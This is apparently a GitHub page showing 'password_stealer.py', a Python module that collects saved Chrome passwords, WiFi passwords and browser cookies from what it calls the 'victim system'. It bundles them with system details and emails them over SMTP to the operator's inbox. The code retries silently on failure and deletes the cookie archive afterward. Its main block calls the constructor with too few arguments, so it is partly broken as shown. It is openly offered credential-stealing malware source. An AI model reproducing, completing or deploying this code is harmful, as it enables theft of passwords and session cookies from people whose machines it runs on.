-
Notifications
You must be signed in to change notification settings - Fork 91
/
password_stealer.py
117 lines (102 loc) · 4.66 KB
/
password_stealer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/python3
import time, smtplib, platform, getpass, tempfile, os
import get_chrome_pass, get_wifi_pass, get_cookies #Self Written Modules
# 7 to 10 lines for "send_mail_with_attachment()" function
#==============================================================
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from os.path import basename
#==============================================================
#==================================================================
#Author : Pushpender Singh
#==================================================================
#Usage: Module is send Saved Password of Victim machine to Email.
#==================================================================
#Github: https://github.com/PushpenderIndia/
#==================================================================
class SendPass:
def __init__(self, email, password, smtp_server, smtp_port):
self.email = email
self.password = password
self.smtp_server = smtp_server
self.smtp_port = smtp_port
self.system_info = self.get_system_info()
self.log = ""
def get_chrome_and_firefox_cookies(self):
cookies = get_cookies.GetCookies()
result = cookies.start()
return result
def get_chrome_browser_creds(self):
try:
self.log += "SAVED PASSWORDS OF Chrome Browser FROM VICTIM SYSTEM : \n"
chrome = get_chrome_pass.GetChromePass()
self.log += chrome.start()
except Exception:
time.sleep(10)
self.get_chrome_browser_creds()
self.send_mail(self.log)
self.log = ""
def get_wifi_creds(self):
try:
self.log += "SAVED PASSWORDS OF WiFi FROM VICTIM SYSTEM : \n"
wifi = get_wifi_pass.GetWifiPassword()
self.log += wifi.start()
except Exception:
time.sleep(10)
self.get_wifi_creds()
self.send_mail(self.log)
self.log = ""
def get_system_info(self):
uname = platform.uname()
os = uname[0] + " " + uname[2] + " " + uname[3]
computer_name = uname[1]
user = getpass.getuser()
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
def send_mail(self, message):
try:
message = "Subject: TechnowLogger Reporting With Saved Password\n\n" + "Report From:\n\n" + self.system_info + "\n\n" + message
server = smtplib.SMTP(self.smtp_server, self.smtp_port)
server.starttls()
server.login(self.email, self.password)
server.sendmail(self.email, self.email, message)
server.quit()
except Exception as e:
time.sleep(15)
self.send_mail(self.log)
def send_mail_with_attachment(self):
try:
msg = MIMEMultipart()
msg['From'] = self.email
msg['To'] = self.email
msg['Subject'] = "TechnowLogger Reporting With Cookies Attachments"
text = "\nReport From:\n\n" + self.system_info
msg.attach(MIMEText(text))
files = [self.get_chrome_and_firefox_cookies(),]
for f in files or []:
with open(f, "rb") as fil:
ext = f.split('.')[-1:]
attachedfile = MIMEApplication(fil.read(), _subtype = ext)
attachedfile.add_header(
'content-disposition', 'attachment', filename=basename(f) )
msg.attach(attachedfile)
smtp = smtplib.SMTP(host=self.smtp_server, port= self.smtp_port)
smtp.starttls()
smtp.login(self.email, self.password)
smtp.sendmail(self.email, self.email, msg.as_string())
smtp.close()
os.chdir(tempfile.gettempdir())
os.remove("Cookies.zip")
except Exception as e:
time.sleep(15)
self.send_mail_with_attachment()
if __name__ == '__main__':
email = input("Enter Email Address: ")
password = input("Enter Password: ")
test = SendPass(email, password)
test.send_mail_with_attachment()
print("[+] Cookies Send Successfully!")
test.get_wifi_creds()
print("[+] Wifi Password Send Successfully!")
test.get_chrome_browser_creds()
print("[+] Chrome Browser Password Send Successfully!")